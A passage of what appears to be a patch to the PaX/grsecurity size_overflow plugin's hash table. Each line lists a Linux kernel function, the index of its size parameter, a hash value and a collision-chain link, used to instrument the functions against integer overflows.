++_001084_hash profile_load 3 58267 _001084_hash NULL
++_001085_hash profile_remove 3 8556 _001085_hash NULL
++_001086_hash profile_replace 3 14652 _001086_hash NULL
++_001087_hash pscsi_get_bio 1 56103 _001087_hash NULL
++_001088_hash __pskb_copy 2 9038 _001088_hash NULL
++_001089_hash __pskb_pull_tail 2 60287 _001089_hash NULL
++_001090_hash qla4xxx_alloc_work 2 44813 _001090_hash NULL
++_001091_hash qlcnic_alloc_msix_entries 2 46160 _001091_hash NULL
++_001092_hash qlcnic_alloc_sds_rings 2 26795 _001092_hash NULL
++_001093_hash queue_received_packet 5 9657 _001093_hash NULL
++_001094_hash raw_send_hdrinc 4 58803 _001094_hash NULL
++_001095_hash raw_sendmsg 4 23078 _003316_hash NULL nohasharray
++_001096_hash rawsock_sendmsg 4 60010 _001096_hash NULL
++_001097_hash rawv6_send_hdrinc 3 35425 _001097_hash NULL
++_001098_hash rawv6_setsockopt 5 56165 _001098_hash NULL
++_001099_hash rb_alloc 1 3102 _001099_hash NULL
++_001100_hash rbd_alloc_coll 1 33678 _001100_hash NULL
++_001101_hash rbd_create_rw_ops 1 55297 _001101_hash NULL
++_001102_hash rds_ib_inc_copy_to_user 3 55007 _001102_hash NULL
++_001103_hash rds_iw_inc_copy_to_user 3 29214 _001103_hash NULL
++_001104_hash rds_message_alloc 1 10517 _001104_hash NULL
++_001105_hash rds_message_copy_from_user 3 45510 _001105_hash NULL
++_001106_hash rds_message_inc_copy_to_user 3 26540 _001106_hash NULL
++_001107_hash regcache_rbtree_insert_to_block 5 58009 _001107_hash NULL
++_001108_hash _regmap_raw_write 4 42652 _001108_hash NULL
++_001109_hash regmap_register_patch 3 21681 _001109_hash NULL
++_001110_hash relay_alloc_page_array 1 52735 _001110_hash NULL
++_001111_hash remove_uuid 4 64505 _001111_hash NULL
++_001112_hash reshape_ring 2 29147 _001112_hash NULL
++_001113_hash RESIZE_IF_NEEDED 2 56286 _001113_hash NULL
++_001114_hash resize_info_buffer 2 62889 _001114_hash NULL
++_001115_hash resize_stripes 2 61650 _001115_hash NULL
++_001116_hash rfcomm_sock_sendmsg 4 37661 _003661_hash NULL nohasharray
++_001117_hash roccat_common2_send_with_status 4 50343 _001117_hash NULL
++_001118_hash rose_sendmsg 4 20249 _001118_hash NULL
++_001119_hash rsc_mgr_init 3 16299 _001119_hash NULL
++_001120_hash rxrpc_send_data 5 21553 _001120_hash NULL
++_001121_hash rxrpc_setsockopt 5 50286 _001121_hash NULL
++_001122_hash savu_sysfs_read 6 49473 _001122_hash NULL
++_001124_hash sco_send_frame 3 41815 _001124_hash NULL
++_001125_hash scsi_dispatch_cmd_entry 3 49848 _001125_hash NULL
++_001126_hash scsi_host_alloc 2 63041 _001126_hash NULL
++_001127_hash scsi_tgt_kspace_exec 8 9522 _001127_hash NULL
++_001128_hash sctp_sendmsg 4 61919 _001128_hash NULL
++_001129_hash sctp_setsockopt 5 44788 _001129_hash NULL
++_001130_hash sctp_setsockopt_connectx 3 6073 _001130_hash NULL
++_001131_hash sctp_setsockopt_connectx_old 3 22631 _001131_hash NULL
++_001132_hash sctp_tsnmap_grow 2 32784 _001132_hash NULL
++_001133_hash sctp_tsnmap_init 2 36446 _001133_hash NULL
++_001134_hash sctp_user_addto_chunk 2-3 62047 _001134_hash NULL
++_001136_hash security_context_to_sid 2 19839 _001136_hash NULL
++_001137_hash security_context_to_sid_default 2 3492 _003841_hash NULL nohasharray
++_001138_hash security_context_to_sid_force 2 20724 _001138_hash NULL
++_001139_hash self_check_write 5 50856 _001139_hash NULL
++_001140_hash selinux_transaction_write 3 59038 _001140_hash NULL
++_001141_hash sel_write_access 3 51704 _001141_hash NULL
++_001142_hash sel_write_create 3 11353 _001142_hash NULL
++_001143_hash sel_write_member 3 28800 _001143_hash NULL
++_001144_hash sel_write_relabel 3 55195 _001144_hash NULL
++_001145_hash sel_write_user 3 45060 _001145_hash NULL
++_001146_hash __seq_open_private 3 40715 _001146_hash NULL
++_001147_hash serverworks_create_gatt_pages 1 46582 _001147_hash NULL
++_001148_hash set_connectable 4 56458 _001148_hash NULL
++_001149_hash set_dev_class 4 39645 _001921_hash NULL nohasharray
++_001150_hash set_discoverable 4 48141 _001150_hash NULL
++_001151_hash set_fd_set 1 35249 _001151_hash NULL
++_001152_hash setkey 3 14987 _001152_hash NULL
++_001153_hash set_le 4 30581 _001153_hash NULL
++_001154_hash set_link_security 4 4502 _001154_hash NULL
++_001155_hash set_local_name 4 55757 _001155_hash NULL
++_001156_hash set_powered 4 12129 _001156_hash NULL
++_001157_hash set_ssp 4 62411 _001157_hash NULL
++_001158_hash sg_build_sgat 3 60179 _001158_hash &_000314_hash
++_001159_hash sg_read_oxfer 3 51724 _001159_hash NULL
++_001160_hash shmem_xattr_set 4 11843 _001160_hash NULL
++_001161_hash simple_alloc_urb 3 60420 _001161_hash NULL
++_001162_hash sisusb_send_bridge_packet 2 11649 _001162_hash NULL
++_001163_hash sisusb_send_packet 2 20891 _001163_hash NULL
++_001164_hash sisusb_write_mem_bulk 4 29678 _001164_hash NULL
++_001165_hash skb_add_data_nocache 4 4682 _001165_hash NULL
++_001166_hash skb_copy_datagram_from_iovec 2-5-4 52014 _001166_hash NULL
++_001169_hash skb_copy_expand 2-3 7685 _001169_hash &_000677_hash
++_001171_hash skb_copy_to_page_nocache 6 58624 _001171_hash NULL
++_001172_hash __skb_cow 2 39254 _001172_hash NULL
++_001173_hash skb_cow_data 2 11565 _001173_hash NULL
++_001174_hash skb_pad 2 17302 _001174_hash NULL
++_001175_hash skb_realloc_headroom 2 19516 _001175_hash NULL
++_001176_hash sk_chk_filter 2 42095 _001176_hash NULL
++_001177_hash skcipher_sendmsg 4 30290 _001177_hash NULL
++_001178_hash sl_change_mtu 2 7396 _001178_hash NULL
++_001179_hash slhc_init 1-2 58135 _001179_hash &_000931_hash
++_001181_hash sm501_create_subdev 3-4 48668 _001245_hash NULL nohasharray
++_001183_hash smk_user_access 3 24440 _001183_hash NULL
++_001184_hash smk_write_cipso2 3 1021 _001184_hash NULL
++_001185_hash smk_write_cipso 3 17989 _001185_hash NULL
++_001186_hash smk_write_load2 3 52155 _001186_hash NULL
++_001187_hash smk_write_load 3 26829 _001187_hash NULL
++_001188_hash smk_write_load_self2 3 591 _001188_hash NULL
++_001189_hash smk_write_load_self 3 7958 _001189_hash NULL
++_001190_hash snapshot_write 3 28351 _001190_hash NULL
++_001191_hash snd_ac97_pcm_assign 2 30218 _001191_hash NULL
++_001192_hash snd_card_create 4 64418 _001529_hash NULL nohasharray
++_001193_hash snd_emux_create_port 3 42533 _001193_hash NULL
++_001194_hash snd_gus_dram_write 4 38784 _001194_hash NULL
++_001195_hash snd_midi_channel_alloc_set 1 28153 _001195_hash NULL
++_001196_hash _snd_pcm_lib_alloc_vmalloc_buffer 2 17820 _001196_hash NULL
++_001197_hash snd_pcm_oss_sync1 2 45298 _001197_hash NULL
++_001198_hash snd_pcm_oss_write 3 38108 _001198_hash NULL
++_001199_hash snd_pcm_plugin_build 5 25505 _001199_hash NULL
++_001200_hash snd_rawmidi_kernel_write 3 25106 _001200_hash NULL
++_001201_hash snd_rawmidi_write 3 28008 _001201_hash NULL
++_001202_hash snd_rme32_playback_copy 5 43732 _001202_hash NULL
++_001203_hash snd_rme96_playback_copy 5 13111 _001203_hash NULL
++_001204_hash snd_seq_device_new 4 31753 _001204_hash NULL
++_001205_hash snd_seq_oss_readq_new 2 14283 _001205_hash NULL
++_001206_hash snd_vx_create 4 40948 _001206_hash NULL
++_001207_hash sock_setsockopt 5 50088 _001207_hash NULL
++_001208_hash sound_write 3 5102 _001208_hash NULL
++_001209_hash _sp2d_alloc 1-3-2 16944 _001209_hash NULL
++_001212_hash spi_alloc_master 2 45223 _001212_hash NULL
++_001213_hash spidev_message 3 5518 _001213_hash NULL
++_001214_hash spi_register_board_info 2 35651 _001214_hash NULL
++_001215_hash squashfs_cache_init 2 41656 _001215_hash NULL
++_001216_hash squashfs_read_data 6 59440 _001216_hash NULL
++_001217_hash squashfs_read_fragment_index_table 4 2506 _001217_hash NULL
++_001218_hash squashfs_read_id_index_table 4 61961 _001218_hash NULL
++_001219_hash squashfs_read_inode_lookup_table 4 64739 _001219_hash NULL
++_001220_hash srp_alloc_iu 2 44227 _001220_hash NULL
++_001221_hash srp_iu_pool_alloc 2 17920 _001221_hash NULL
++_001222_hash srp_ring_alloc 2 26760 _001222_hash NULL
++_001226_hash start_isoc_chain 2 565 _001226_hash NULL
++_001227_hash st_write 3 16874 _001227_hash NULL
++_001228_hash svc_pool_map_alloc_arrays 2 47181 _001228_hash NULL
++_001229_hash symtab_init 2 61050 _001229_hash NULL
++_001230_hash sys_bind 3 10799 _001230_hash NULL
++_001231_hash sys_connect 3 15291 _003816_hash NULL nohasharray
++_001232_hash sys_flistxattr 3 41407 _001232_hash NULL
++_001233_hash sys_fsetxattr 4 49736 _001233_hash NULL
++_001234_hash sysfs_write_file 3 57116 _001234_hash NULL
++_001235_hash sys_ipc 3 4889 _001235_hash NULL
++_001236_hash sys_keyctl 4 33708 _001236_hash &_001011_hash
++_001237_hash sys_listxattr 3 27833 _001237_hash NULL
++_001238_hash sys_llistxattr 3 4532 _001238_hash NULL
++_001239_hash sys_lsetxattr 4 61177 _001239_hash NULL
++_001240_hash sys_mq_timedsend 3 57661 _001240_hash NULL
++_001241_hash sys_sched_setaffinity 2 32046 _001241_hash NULL
++_001242_hash sys_select 1 38827 _001242_hash NULL
++_001243_hash sys_semop 3 39457 _001243_hash NULL
++_001244_hash sys_sendto 6 20809 _001244_hash NULL
++_001245_hash sys_setgroups 1 48668 _001245_hash &_001181_hash
++_001246_hash sys_setgroups16 1 48882 _001246_hash NULL
++_001247_hash sys_setxattr 4 37880 _001247_hash NULL
++_001248_hash t4_alloc_mem 1 32342 _001248_hash NULL
++_001249_hash tcf_hash_create 4 54360 _001249_hash NULL
++_001250_hash tcp_send_rcvq 3 11316 _001250_hash NULL
++_001251_hash __team_options_register 3 63941 _001251_hash NULL
++_001252_hash test_unaligned_bulk 3 52333 _001252_hash NULL
++_001253_hash tifm_alloc_adapter 1 10903 _001253_hash NULL
++_001254_hash timeout_write 3 50991 _001254_hash NULL
++_001255_hash timeradd_entry 3 49850 _001255_hash NULL
++_001256_hash tipc_link_send_sections_fast 4 37920 _001256_hash NULL
++_001257_hash tipc_subseq_alloc 1 5957 _001257_hash NULL
++_001258_hash tnode_alloc 1 49407 _001258_hash NULL
++_001259_hash tomoyo_commit_ok 2 20167 _001259_hash NULL
++_001260_hash tomoyo_scan_bprm 2-4 15642 _003488_hash NULL nohasharray
++_001262_hash tps6586x_writes 3 58689 _001262_hash NULL
++_001263_hash tty_buffer_find 2 2443 _001263_hash NULL
++_001264_hash tty_write 3 5494 _001264_hash NULL
++_001265_hash ubifs_setxattr 4 59650 _001477_hash NULL nohasharray
++_001266_hash ubi_self_check_all_ff 4 41959 _001266_hash NULL
++_001267_hash udf_sb_alloc_partition_maps 2 62313 _001267_hash NULL
++_001268_hash udplite_getfrag 3-4 14479 _001268_hash NULL
++_001270_hash ulong_write_file 3 26485 _001270_hash NULL
++_001271_hash unix_stream_sendmsg 4 61455 _001271_hash NULL
++_001272_hash unlink_queued 3-4 645 _001272_hash NULL
++_001273_hash update_pmkid 4 2481 _001273_hash NULL
++_001274_hash usb_alloc_coherent 2 65444 _001274_hash NULL
++_001275_hash vc_resize 2-3 3585 _001275_hash NULL
++_001277_hash vhci_write 3 2224 _001277_hash NULL
++_001278_hash __vhost_add_used_n 3 26554 _001278_hash NULL
++_001279_hash virtqueue_add_buf 3-4 59470 _001279_hash NULL
++_001281_hash vmalloc 1 15464 _001281_hash NULL
++_001282_hash vol_cdev_write 3 40915 _001282_hash NULL
++_001283_hash vxge_device_register 4 7752 _001283_hash NULL
++_001284_hash __vxge_hw_blockpool_malloc 2 5786 _001284_hash NULL
++_001285_hash __vxge_hw_channel_allocate 3 55462 _001285_hash NULL
++_001286_hash vzalloc 1 47421 _001286_hash NULL
++_001287_hash vzalloc_node 1 23424 _001287_hash NULL
++_001288_hash wa_nep_queue 2 8858 _001288_hash NULL
++_001289_hash __wa_xfer_setup_segs 2 56725 _001289_hash NULL
++_001290_hash wiphy_new 2 2482 _001290_hash NULL
++_001291_hash wm8350_block_write 3 19727 _001291_hash NULL
++_001292_hash wpan_phy_alloc 1 48056 _001292_hash NULL
++_001293_hash write_flush_pipefs 3 2021 _001293_hash NULL
++_001294_hash write_flush_procfs 3 44011 _001294_hash NULL
++_001295_hash wusb_ccm_mac 7 32199 _001295_hash NULL
++_001296_hash x25_sendmsg 4 12487 _001296_hash NULL
++_001297_hash xfrm_hash_alloc 1 10997 _001297_hash NULL
++_001298_hash _xfs_buf_get_pages 2 46811 _001298_hash NULL
++_001299_hash xfs_da_grow_inode_int 3 21785 _001299_hash NULL
++_001300_hash xfs_dir_cilookup_result 3 64288 _003160_hash NULL nohasharray
++_001301_hash xfs_idata_realloc 2 26199 _001301_hash NULL
++_001302_hash xfs_iext_add_indirect_multi 3 32400 _001302_hash NULL
++_001303_hash xfs_iext_inline_to_direct 2 12384 _001303_hash NULL
++_001304_hash xfs_iformat_local 4 49472 _001304_hash NULL
++_001305_hash xfs_iroot_realloc 2 46826 _001305_hash NULL
++_001306_hash xhci_alloc_stream_info 3 63902 _001306_hash NULL
++_001307_hash xlog_recover_add_to_trans 4 62839 _001307_hash NULL
++_001308_hash xprt_alloc 2 1475 _001308_hash NULL
++_001309_hash xt_alloc_table_info 1 57903 _001309_hash NULL
++_001310_hash _zd_iowrite32v_async_locked 3 39034 _001310_hash NULL
++_001311_hash zd_usb_iowrite16v 3 49744 _001311_hash NULL
++_001312_hash a2mp_send 4 41615 _001312_hash NULL
++_001313_hash acpi_ds_build_internal_package_obj 3 58271 _001313_hash NULL
++_001314_hash acpi_system_read_event 3 55362 _001314_hash NULL
++_001315_hash acpi_ut_create_buffer_object 1 42030 _001315_hash NULL
++_001316_hash acpi_ut_create_package_object 1 17594 _001316_hash NULL
++_001317_hash acpi_ut_create_string_object 1 15360 _001317_hash NULL
++_001318_hash ad7879_spi_multi_read 3 8218 _001318_hash NULL
++_001319_hash add_child 4 45201 _001319_hash NULL
++_001320_hash add_port 2 54941 _001320_hash NULL
++_001321_hash adu_read 3 24177 _001321_hash NULL
++_001322_hash afs_cell_create 2 27346 _001322_hash NULL
++_001323_hash agp_allocate_memory 2 58761 _001323_hash NULL
++_001324_hash agp_generic_alloc_user 1 9470 _001324_hash NULL
++_001325_hash alc_auto_create_extra_outs 2 18975 _001325_hash NULL
++_001326_hash alloc_agpphysmem_i8xx 1 39427 _001326_hash NULL
++_001327_hash allocate_cnodes 1 5329 _001327_hash NULL
++_001328_hash ___alloc_bootmem 1 11410 _001328_hash NULL
++_001329_hash __alloc_bootmem_low_node 2 25726 _001662_hash NULL nohasharray
++_001330_hash __alloc_bootmem_node 2 1992 _001330_hash NULL
++_001331_hash __alloc_bootmem_node_nopanic 2 6432 _001331_hash NULL
++_001332_hash __alloc_bootmem_nopanic 1 65397 _001332_hash NULL
++_001333_hash alloc_candev 1-2 7776 _001333_hash NULL
++_001335_hash _alloc_cdb_cont 2 23609 _001335_hash NULL
++_001336_hash alloc_dummy_extent_buffer 2 56374 _001336_hash NULL
++_001337_hash ____alloc_ei_netdev 1 51475 _001337_hash NULL
++_001338_hash alloc_etherdev_mqs 1 36450 _001338_hash NULL
++_001339_hash alloc_extent_buffer 3 52824 _001339_hash NULL
++_001340_hash alloc_fcdev 1 18780 _001340_hash NULL
++_001341_hash alloc_fddidev 1 15382 _001341_hash NULL
++_001342_hash _alloc_get_attr_desc 2 470 _001342_hash NULL
++_001343_hash alloc_hippi_dev 1 51320 _001343_hash NULL
++_001344_hash alloc_irdadev 1 19140 _001344_hash NULL
++_001345_hash alloc_ldt 2 21972 _001345_hash NULL
++_001346_hash alloc_ltalkdev 1 38071 _001346_hash NULL
++_001347_hash alloc_one_pg_vec_page 1 10747 _001347_hash NULL
++_001348_hash alloc_orinocodev 1 21371 _001348_hash NULL
++_001349_hash alloc_ring 2-4 18278 _001349_hash NULL
++_001351_hash _alloc_set_attr_list 4 48991 _001351_hash NULL
++_001353_hash alloc_tx 2 32143 _001353_hash NULL
++_001354_hash alloc_wr 1-2 24635 _001354_hash NULL
++_001356_hash async_setkey 3 35521 _001356_hash NULL
++_001357_hash ata_host_alloc_pinfo 3 17325 _001357_hash NULL
++_001360_hash ath6kl_connect_event 7-9-8 14267 _001360_hash NULL
++_001361_hash ath6kl_fwlog_block_read 3 49836 _001361_hash NULL
++_001362_hash ath6kl_fwlog_read 3 32101 _001362_hash NULL
++_001363_hash ath9k_wmi_cmd 4 327 _001363_hash NULL
++_001364_hash ath_rx_init 2 43564 _001364_hash NULL
++_001365_hash ath_tx_init 2 60515 _001365_hash NULL
++_001366_hash atm_alloc_charge 2 19517 _001914_hash NULL nohasharray
++_001367_hash atm_get_addr 3 31221 _001367_hash NULL
++_001368_hash audit_log_n_hex 3 45617 _001368_hash NULL
++_001369_hash audit_log_n_string 3 31705 _001369_hash NULL
++_001370_hash ax25_output 2 22736 _001370_hash NULL
++_001371_hash bcsp_prepare_pkt 3 12961 _001371_hash NULL
++_001372_hash bdx_rxdb_create 1 46525 _001372_hash NULL
++_001373_hash bdx_tx_db_init 2 41719 _001373_hash NULL
++_001374_hash bio_map_kern 3 64751 _001374_hash NULL
++_001375_hash bits_to_user 2-3 47733 _001375_hash NULL
++_001377_hash __blk_queue_init_tags 2 9778 _001377_hash NULL
++_001378_hash blk_queue_resize_tags 2 28670 _001378_hash NULL
++_001379_hash blk_rq_map_user_iov 5 16772 _001379_hash NULL
++_001380_hash bm_init 2 13529 _001380_hash NULL
++_001381_hash brcmf_alloc_wdev 1 60347 _001381_hash NULL
++_001382_hash __btrfs_buffered_write 3 35311 _002735_hash NULL nohasharray
++_001383_hash btrfs_insert_dir_item 4 59304 _001383_hash NULL
++_001384_hash btrfs_map_block 3 64379 _001384_hash NULL
++_001385_hash bt_skb_alloc 1 6404 _001385_hash NULL
++_001386_hash c4_add_card 3 54968 _001386_hash NULL
++_001387_hash cache_read 3 24790 _001387_hash NULL
++_001388_hash cache_write 3 13589 _001388_hash NULL
++_001389_hash calc_hmac 3 32010 _001389_hash NULL
++_001390_hash capinc_tty_write 3 28539 _001390_hash NULL
++_001391_hash ccid_getsockopt_builtin_ccids 2 53634 _001391_hash NULL
++_001392_hash ceph_copy_page_vector_to_user 3-4 31270 _001392_hash NULL
++_001394_hash ceph_parse_server_name 2 60318 _001394_hash NULL
++_001395_hash ceph_read_dir 3 17005 _001395_hash NULL
++_001396_hash cfg80211_roamed 5-7 32632 _001396_hash NULL
++_001398_hash cfpkt_add_body 3 44630 _001398_hash NULL
++_001399_hash cfpkt_create_pfx 1-2 23594 _001399_hash NULL
++_001401_hash cmd_complete 6 51629 _001401_hash NULL
++_001402_hash cmtp_add_msgpart 4 9252 _001402_hash NULL
++_001403_hash cmtp_send_interopmsg 7 376 _001403_hash NULL
++_001404_hash coda_psdev_read 3 35029 _001404_hash NULL
++_001405_hash construct_key_and_link 4 8321 _001405_hash NULL
++_001406_hash copy_counters_to_user 5 17027 _001406_hash NULL
++_001407_hash copy_entries_to_user 1 52367 _001407_hash NULL
++_001408_hash copy_from_buf 2-4 27308 _001408_hash NULL
++_001410_hash copy_oldmem_page 3-1 26164 _001410_hash NULL
++_001411_hash copy_to_user_fromio 3 57432 _001411_hash NULL
++_001412_hash cryptd_hash_setkey 3 42781 _001412_hash NULL
++_001413_hash crypto_authenc_esn_setkey 3 6985 _001413_hash NULL
++_001414_hash crypto_authenc_setkey 3 80 _001414_hash NULL
++_001415_hash cxgb3_get_cpl_reply_skb 2 10620 _001415_hash NULL
++_001416_hash cxgbi_ddp_reserve 4 30091 _001416_hash NULL
++_001417_hash cxio_init_resource_fifo 3 28764 _001417_hash NULL
++_001418_hash cxio_init_resource_fifo_random 3 47151 _001418_hash NULL
++_001419_hash datablob_hmac_append 3 40038 _001419_hash NULL
++_001420_hash datablob_hmac_verify 4 24786 _001420_hash NULL
++_001421_hash dataflash_read_fact_otp 3-2 33204 _001421_hash NULL
++_001422_hash dataflash_read_user_otp 3-2 14536 _001422_hash &_000207_hash
++_001423_hash dccp_feat_register_sp 5 17914 _001423_hash NULL
++_001424_hash dccp_setsockopt 5 60367 _001424_hash NULL
++_001425_hash __dev_alloc_skb 1 28681 _001425_hash NULL
++_001426_hash disk_expand_part_tbl 2 30561 _001426_hash NULL
++_001427_hash diva_os_alloc_message_buffer 1 64568 _001427_hash NULL
++_001428_hash diva_os_copy_to_user 4 48508 _001428_hash NULL
++_001429_hash diva_os_malloc 2 16406 _001429_hash NULL
++_001430_hash dmam_declare_coherent_memory 4-2 43679 _001430_hash NULL
++_001431_hash dm_vcalloc 1-2 16814 _001431_hash NULL
++_001433_hash dn_alloc_skb 2 6631 _001433_hash NULL
++_001434_hash do_proc_readlink 3 14096 _001434_hash NULL
++_001435_hash do_readlink 2 43518 _001435_hash NULL
++_001436_hash __do_replace 5 37227 _001436_hash NULL
++_001437_hash do_sigpending 2 9766 _001437_hash NULL
++_001438_hash drbd_bm_resize 2 20522 _001438_hash NULL
++_001439_hash drbd_setsockopt 5 16280 _001439_hash &_000383_hash
++_001440_hash dump_midi 3 51040 _001440_hash NULL
++_001441_hash ecryptfs_filldir 3 6622 _001441_hash NULL
++_001442_hash ecryptfs_send_message 2 18322 _001442_hash NULL
++_001443_hash ep0_read 3 38095 _001443_hash NULL
++_001444_hash evdev_ioctl 2 22371 _001444_hash NULL
++_001445_hash ext4_add_new_descs 3 19509 _001445_hash NULL
++_001446_hash fat_ioctl_filldir 3 36621 _001446_hash NULL
++_001447_hash _fc_frame_alloc 1 43568 _001447_hash NULL
++_001448_hash fc_host_post_vendor_event 3 30903 _001448_hash NULL
++_001449_hash fd_copyout 3 59323 _001449_hash NULL
++_001450_hash f_hidg_read 3 6238 _001450_hash NULL
++_001451_hash filldir 3 55137 _001451_hash NULL
++_001452_hash filldir64 3 46469 _001452_hash NULL
++_001453_hash find_skb 2 20431 _001453_hash NULL
++_001454_hash from_buffer 3 18625 _001454_hash NULL
++_001455_hash fsm_init 2 16134 _001455_hash NULL
++_001456_hash fs_path_add 3 15648 _001456_hash NULL
++_001457_hash fs_path_add_from_extent_buffer 4 27702 _001457_hash NULL
++_001458_hash fuse_perform_write 4 18457 _001458_hash NULL
++_001459_hash gem_alloc_skb 2 51715 _001459_hash NULL
++_001460_hash generic_file_buffered_write 4 25464 _001460_hash NULL
++_001461_hash gen_pool_add 3 21776 _001461_hash NULL
++_001462_hash get_packet 3 41914 _001462_hash NULL
++_001463_hash get_packet 3 5747 _001463_hash NULL
++_001464_hash get_packet_pg 4 28023 _001464_hash NULL
++_001465_hash get_skb 2 63008 _001465_hash NULL
++_001466_hash get_subdir 3 62581 _001466_hash NULL
++_001467_hash gsm_control_message 4 18209 _001467_hash NULL
++_001468_hash gsm_control_modem 3 55303 _001468_hash NULL
++_001469_hash gsm_control_rls 3 3353 _001469_hash NULL
++_001470_hash handle_received_packet 3 22457 _001470_hash NULL
++_001471_hash hash_setkey 3 48310 _001471_hash NULL
++_001472_hash hdlcdrv_register 2 6792 _001472_hash NULL
++_001473_hash hiddev_ioctl 2 36816 _001473_hash NULL
++_001474_hash hid_input_report 4 32458 _001474_hash NULL
++_001475_hash hidp_queue_report 3 1881 _001475_hash NULL
++_001476_hash __hidp_send_ctrl_message 4 28303 _001476_hash NULL
++_001477_hash hidraw_read 3 59650 _001477_hash &_001265_hash
++_001478_hash HiSax_readstatus 2 15752 _001478_hash NULL
++_001480_hash __hwahc_op_set_gtk 4 42038 _001480_hash NULL
++_001481_hash __hwahc_op_set_ptk 5 36510 _001481_hash NULL
++_001482_hash hycapi_rx_capipkt 3 11602 _001482_hash NULL
++_001483_hash i2400m_net_rx 5 27170 _001483_hash NULL
++_001484_hash ib_copy_to_udata 3 27525 _001484_hash NULL
++_001485_hash idetape_chrdev_read 3 2097 _001485_hash NULL
++_001486_hash ieee80211_alloc_hw 1 43829 _001486_hash NULL
++_001487_hash ieee80211_bss_info_update 4 13991 _001487_hash NULL
++_001488_hash igmpv3_newpack 2 35912 _001488_hash NULL
++_001489_hash ilo_read 3 32531 _001489_hash NULL
++_001490_hash init_map_ipmac 3-4 63896 _001490_hash NULL
++_001492_hash init_tid_tabs 2-4-3 13252 _001492_hash NULL
++_001495_hash iowarrior_read 3 53483 _001495_hash NULL
++_001496_hash ip_options_get 4 56538 _001496_hash NULL
++_001497_hash ipv6_getsockopt_sticky 5 56711 _001497_hash NULL
++_001498_hash ipwireless_send_packet 4 8328 _001498_hash NULL
++_001499_hash ipx_sendmsg 4 1362 _001499_hash NULL
++_001500_hash irq_domain_add_linear 2 29236 _001500_hash NULL
++_001501_hash iscsi_conn_setup 2 35159 _001501_hash NULL
++_001502_hash iscsi_create_session 3 51647 _001502_hash NULL
++_001503_hash iscsi_host_alloc 2 36671 _001503_hash NULL
++_001504_hash iscsi_if_send_reply 7 52219 _001504_hash NULL
++_001505_hash iscsi_offload_mesg 5 58425 _001505_hash NULL
++_001506_hash iscsi_ping_comp_event 5 38263 _001506_hash NULL
++_001507_hash iscsi_post_host_event 4 13473 _001507_hash NULL
++_001508_hash iscsi_recv_pdu 4 16755 _001508_hash NULL
++_001509_hash iscsi_session_setup 4-5 196 _001509_hash NULL
++_001511_hash iscsit_find_cmd_from_itt_or_dump 3 17194 _003122_hash NULL nohasharray
++_001512_hash isdn_net_ciscohdlck_alloc_skb 2 55209 _001951_hash NULL nohasharray
++_001513_hash isdn_ppp_ccp_xmit_reset 6 63297 _001513_hash NULL
++_001514_hash isdn_ppp_read 4 50356 _001514_hash NULL
++_001515_hash isdn_ppp_skb_push 2 5236 _001515_hash NULL
++_001516_hash isku_sysfs_read 6 58806 _001516_hash NULL
++_001517_hash isku_sysfs_write 6 49767 _001517_hash NULL
++_001520_hash jbd2_alloc 1 41359 _001520_hash NULL
++_001521_hash jffs2_do_link 6 42048 _001521_hash NULL
++_001522_hash jffs2_do_unlink 4 62020 _001522_hash NULL
++_001523_hash jffs2_security_setxattr 4 62107 _001523_hash NULL
++_001524_hash jffs2_trusted_setxattr 4 17048 _001524_hash NULL
++_001525_hash jffs2_user_setxattr 4 10182 _001525_hash NULL
++_001526_hash joydev_ioctl_common 2 49359 _001526_hash NULL
++_001527_hash kernel_setsockopt 5 35913 _001527_hash NULL
++_001528_hash keyctl_describe_key 3 36853 _001528_hash NULL
++_001529_hash keyctl_get_security 3 64418 _001529_hash &_001192_hash
++_001530_hash keyring_read 3 13438 _001530_hash NULL
++_001531_hash kfifo_copy_to_user 3 20646 _001531_hash NULL
++_001532_hash kmem_zalloc_large 1 56128 _001532_hash NULL
++_001533_hash kmp_init 2 41373 _001533_hash NULL
++_001534_hash koneplus_sysfs_write 6 35993 _001534_hash NULL
++_001535_hash kvm_clear_guest_page 4 2308 _001535_hash NULL
++_001536_hash kvm_read_nested_guest_page 5 13337 _001536_hash NULL
++_001537_hash _l2_alloc_skb 1 11883 _001537_hash NULL
++_001538_hash l2cap_create_basic_pdu 3 24869 _001538_hash &_001074_hash
++_001539_hash l2cap_create_connless_pdu 3 37327 _001539_hash NULL
++_001540_hash l2cap_create_iframe_pdu 3 40055 _001540_hash NULL
++_001541_hash l3_alloc_skb 1 32289 _001541_hash NULL
++_001542_hash __lgwrite 4 57669 _001542_hash NULL
++_001543_hash libfc_host_alloc 2 7917 _001543_hash NULL
++_001544_hash llc_alloc_frame 4 64366 _001544_hash NULL
++_001545_hash llcp_sock_sendmsg 4 1092 _001545_hash NULL
++_001546_hash mac_drv_rx_init 2 48898 _001546_hash NULL
++_001547_hash macvtap_get_user 4 28185 _001547_hash NULL
++_001548_hash mdc800_device_read 3 22896 _001548_hash NULL
++_001549_hash memcpy_toiovec 3 54166 _001549_hash &_000892_hash
++_001550_hash memcpy_toiovecend 3-4 19736 _001550_hash NULL
++_001552_hash mempool_create 1 29437 _001552_hash NULL
++_001553_hash mgmt_event 4 12810 _001553_hash NULL
++_001554_hash mgt_set_varlen 4 60916 _001554_hash NULL
++_001555_hash mI_alloc_skb 1 24770 _001555_hash NULL
++_001556_hash mlx4_en_create_rx_ring 3 62498 _001556_hash NULL
++_001557_hash mlx4_en_create_tx_ring 4 48501 _001557_hash NULL
++_001558_hash mlx4_init_cmpt_table 3 11569 _001558_hash NULL
++_001559_hash mon_bin_get_event 4 52863 _001559_hash NULL
++_001560_hash mousedev_read 3 47123 _001560_hash NULL
++_001561_hash move_addr_to_user 2 2868 _001561_hash NULL
++_001562_hash mpihelp_mul 5-3 27805 _001562_hash NULL
++_001564_hash mpi_set_buffer 3 65294 _001564_hash NULL
++_001565_hash mptctl_ioctl 2 12355 _001565_hash NULL
++_001566_hash msnd_fifo_alloc 2 23179 _001566_hash NULL
++_001567_hash mtdswap_init 2 55719 _001567_hash NULL
++_001568_hash mthca_alloc_resize_buf 3 60394 _001568_hash NULL
++_001569_hash mthca_init_cq 2 60011 _001569_hash NULL
++_001570_hash nci_skb_alloc 2 49757 _001570_hash NULL
++_001571_hash neigh_hash_grow 2 17283 _001571_hash NULL
++_001572_hash netdev_alloc_skb 2 62437 _001572_hash NULL
++_001573_hash __netdev_alloc_skb_ip_align 2 55067 _001573_hash NULL
++_001574_hash netlink_change_ngroups 2 16457 _001574_hash NULL
++_001575_hash new_skb 1 21148 _001575_hash NULL
++_001576_hash nfc_alloc_recv_skb 1 10244 _001576_hash NULL
++_001577_hash nfcwilink_skb_alloc 1 16167 _001577_hash NULL
